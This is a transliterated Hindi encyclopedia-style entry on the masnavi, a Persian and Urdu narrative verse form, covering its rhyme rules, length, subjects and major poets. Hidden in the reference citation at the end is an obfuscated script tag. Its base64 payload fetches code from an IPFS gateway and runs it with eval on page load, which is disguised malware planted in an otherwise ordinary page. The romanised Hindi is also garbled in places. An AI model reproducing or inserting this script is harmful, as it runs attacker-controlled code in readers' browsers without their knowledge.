मसनवी
masanavi ka shabdik arth 'do' hota hai. yah kavy ka aisa roop hai, jisake har sher ke donoan misre ek hi 'radif'[1] aur 'qafie' mean hote haian. har sher ka radif aur qafiya apas mean alag-alag bhi ho sakata hai. isalie masanavi mean shayar ko kramabaddh vishay varnan mean b di asani hoti hai. qasida ya gazal mean sab sheroan mean ek hi radif aur qafiye ki pabandi ke karan kramabaddh varnan kathin hota hai, parantu masanavi mean yah pabandi nahian hai.[2]
sheroan ki sankhya
masanavi ke lie sat bahrean niyat haian. inhian sat bahroan mean masanavi likhi ja sakati hai. masanavi mean sheroan ki sankhya ki koee sima nahian hai. chhoti masanaviyaan ath, das, barah sheroan ki bhi haian aur b di masanaviyoan mean sheroan ki sankhya hazaroan tak payi jati hai. farasi mean firadausi ka prasiddh 'shahanama' masanavi hi hai. isamean sath hazar sher haian.
vishay
masanavi mean vishay ki bhi koee sima nahian hai. kavi jis vishay par chahe, masanavi likh sakata hai. urdoo masanavi likhane valoan ne masanaviyoan mean akhyan bhi likhe haian, bhagavan ki prashansa bhi ki hai tatha sahityik tattvoan aur prakritik drishyoan ko bhi chitrit kiya hai.[2]
visheshata
masanavi ki visheshata yah hai ki jis ghatana ya vritt ka varnan kiya jay, use saralata tatha vistar ke sath is prakar varnit kiya jay ki vah ghatana aankhoan ke samane phirane lage aur poora vatavaran chalachitr ki tarah samane a jay. urdoo ki masanaviyoan se sahityik tatvoan ke sath bahaduri ki ghatanaoan tatha un samajik sthitiyoan ka jnan hota hai, jo tatkalin rahan-sahan, riti-rivaj ka yathatathy parichay deti haian.
premakhyanak kavy
hindi ke premakhyanak kavy ki parampara mean isi kavy roop ko apanaya gaya hai. malik muhammad jayasi ka 'padmavat' masanavi hi hai. is drishti se masanavi ko bhi ek aise katha kavy ka pratiroop kah sakate haian, jo mahakavy ke nikat pahuanch sakata hai.
kavi
urdoo ke adhikatar kaviyoan ne chhoti-b di masanaviyaan likhi haian. inamean 'mir', 'mirahasan', 'dayashankar', 'nasim', mirza 'shauk' aur 'kalak' mashahoor haian. ramayan tatha shrimadbhagavad gita ke urdoo mean jitane anuvad hue haian, ve sab masanavi ke roop mean hi haian. urdoo ke naye kaviyoan ne bhi masanaviyaan likhi haian. unamean nayi samajik aur rajanitik chetana milati hai. inamean ikabal ka 'sakinama' aur saradar jafari ka 'nayi duniya ko salam' adhik prasiddh haian.[2]
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tika tippani aur sandarbh
- ↑ gazal mean qafie ke bad ane vala shabd ya shabd samooh.
- ↑ 2.0 2.1 2.2 hindi sahity kosh, bhag 1 |prakashak: jnanamandal limited, varanasi |sankalan: bharatakosh pustakalay |sanpadan: d aau. dhireandr varma |prishth sankhya: 482 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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